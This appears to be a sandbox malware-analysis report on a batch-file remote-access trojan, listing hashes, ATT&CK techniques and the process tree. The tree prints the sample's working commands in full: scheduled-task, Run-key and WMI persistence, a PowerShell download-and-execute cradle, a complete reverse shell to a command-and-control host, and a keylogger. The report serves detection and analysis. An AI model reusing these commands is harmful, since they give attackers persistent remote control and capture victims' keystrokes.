6fc3189931144befdf71076aad98cda77126f2b684185f1d53f1516c6b77d0ca

Analysis

max time kernel
145s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:22

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General

Target
rat_build_54379_014219.bat
Size 4KB
Sample260529-2anw8aax8x
SHA256 6fc3189931144befdf71076aad98cda77126f2b684185f1d53f1516c6b77d0ca
MD5 c5687a45de8ad0359d4eeca124873169
SHA1 e06ed253d8534f2ae516258f5dc7b78a192bb702
SHA512 e66b55b602594a7071d9ff9c50fb5738221c341d76a03590c54ff1ef21dcaeb31ec3e7cd07a6dba7482c9c9c131a8cbb35c9fc02a68176e41c8b7327ae6170fa
SSDEEP 96:aIsh+vWb68V98v7oxTs6YbeRxVwgfUM8nUr0gnPUq9iFgZk8mvlo1C1Zf:anAOb6Y8cxw6HJxwWiFgkHlx1d
TLSH
T189B1E71367A7612059F05A08EE72340863ACEAF71315CA5DBB48CDC81A5CF03F528AF3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_54379.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1936	powershell.exe
1748	powershell.exe
2020	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_54379 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_54379.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3160	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3296	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2504	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1196	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1936	powershell.exe
1936	powershell.exe
1748	powershell.exe
1748	powershell.exe
2020	powershell.exe
2020	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4132	WMIC.exe
Token: SeSecurityPrivilege	4132	WMIC.exe
Token: SeTakeOwnershipPrivilege	4132	WMIC.exe
Token: SeLoadDriverPrivilege	4132	WMIC.exe
Token: SeSystemProfilePrivilege	4132	WMIC.exe
Token: SeSystemtimePrivilege	4132	WMIC.exe
Token: SeProfSingleProcessPrivilege	4132	WMIC.exe
Token: SeIncBasePriorityPrivilege	4132	WMIC.exe
Token: SeCreatePagefilePrivilege	4132	WMIC.exe
Token: SeBackupPrivilege	4132	WMIC.exe
Token: SeRestorePrivilege	4132	WMIC.exe
Token: SeShutdownPrivilege	4132	WMIC.exe
Token: SeDebugPrivilege	4132	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4132	WMIC.exe
Token: SeRemoteShutdownPrivilege	4132	WMIC.exe
Token: SeUndockPrivilege	4132	WMIC.exe
Token: SeManageVolumePrivilege	4132	WMIC.exe
Token: 33	4132	WMIC.exe
Token: 34	4132	WMIC.exe
Token: 35	4132	WMIC.exe
Token: 36	4132	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4132	WMIC.exe
Token: SeSecurityPrivilege	4132	WMIC.exe
Token: SeTakeOwnershipPrivilege	4132	WMIC.exe
Token: SeLoadDriverPrivilege	4132	WMIC.exe
Token: SeSystemProfilePrivilege	4132	WMIC.exe
Token: SeSystemtimePrivilege	4132	WMIC.exe
Token: SeProfSingleProcessPrivilege	4132	WMIC.exe
Token: SeIncBasePriorityPrivilege	4132	WMIC.exe
Token: SeCreatePagefilePrivilege	4132	WMIC.exe
Token: SeBackupPrivilege	4132	WMIC.exe
Token: SeRestorePrivilege	4132	WMIC.exe
Token: SeShutdownPrivilege	4132	WMIC.exe
Token: SeDebugPrivilege	4132	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4132	WMIC.exe
Token: SeRemoteShutdownPrivilege	4132	WMIC.exe
Token: SeUndockPrivilege	4132	WMIC.exe
Token: SeManageVolumePrivilege	4132	WMIC.exe
Token: 33	4132	WMIC.exe
Token: 34	4132	WMIC.exe
Token: 35	4132	WMIC.exe
Token: 36	4132	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2108	WMIC.exe
Token: SeSecurityPrivilege	2108	WMIC.exe
Token: SeTakeOwnershipPrivilege	2108	WMIC.exe
Token: SeLoadDriverPrivilege	2108	WMIC.exe
Token: SeSystemProfilePrivilege	2108	WMIC.exe
Token: SeSystemtimePrivilege	2108	WMIC.exe
Token: SeProfSingleProcessPrivilege	2108	WMIC.exe
Token: SeIncBasePriorityPrivilege	2108	WMIC.exe
Token: SeCreatePagefilePrivilege	2108	WMIC.exe
Token: SeBackupPrivilege	2108	WMIC.exe
Token: SeRestorePrivilege	2108	WMIC.exe
Token: SeShutdownPrivilege	2108	WMIC.exe
Token: SeDebugPrivilege	2108	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2108	WMIC.exe
Token: SeRemoteShutdownPrivilege	2108	WMIC.exe
Token: SeUndockPrivilege	2108	WMIC.exe
Token: SeManageVolumePrivilege	2108	WMIC.exe
Token: 33	2108	WMIC.exe
Token: 34	2108	WMIC.exe
Token: 35	2108	WMIC.exe
Token: 36	2108	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2108	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1916 wrote to memory of 1196	1916	cmd.exe	88
PID 1916 wrote to memory of 2504	1916	cmd.exe	89
PID 1916 wrote to memory of 4132	1916	cmd.exe	90
PID 1916 wrote to memory of 2108	1916	cmd.exe	91
PID 1916 wrote to memory of 4780	1916	cmd.exe	92
PID 1916 wrote to memory of 3296	1916	cmd.exe	93
PID 1916 wrote to memory of 3160	1916	cmd.exe	100
PID 1916 wrote to memory of 1936	1916	cmd.exe	101
PID 1916 wrote to memory of 1748	1916	cmd.exe	102
PID 1916 wrote to memory of 2020	1916	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_54379_014219.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_54379" /tr "C:\Users\Admin\AppData\Local\Temp\_54379.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1196
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_54379" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_54379.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2504
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_54379", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4132
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_54379", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_54379.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_54379.txt
  2⤵
  PID:4780
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3296
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_54379.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1894bbb7f74694afaa3ceeef20ea721b9bc409e202f7cf9c705c312200c37691
MD5 c43f7e92ab9a75f6df356b84b6f77323
SHA1 9c2ac5df4d97e67fbc4889d9078c11574f87453f
SHA512 a4f8cbe2ba15de70255ccfc83909698c5fddd5d1d4d4e18770d889275dacdd4c364e8efd50d5a0eb83a70037b8d701fd95688702861514d7e4757496648557c2
TLSH
T153117627F39CC921CC96153A409DAC1172B687DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 779dea62665161af512d6d771487c37ac2112f4b6284d6bbf4c1c92fd3ea7a9b
MD5 ada0175ee05b522949d43898a586f0e4
SHA1 7d4b4bb2715dd2300bec347bb7848f210cd7f3d8
SHA512 f60e0971d540f2f7d9df3bee814321aee4f8ded2ff2bd32b9d6536845825ec509e44126e7864e9bb734a0b73facea6e429983ae4ce2d4757a0db92c39ad82c08
TLSH
T187115727B39C89A1CC96153A409D9C1172B687DB409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3shbir32.0nj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3shbir32.0nj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1936-4-0x00000268B8490000-0x00000268B84B2000-memory.dmp

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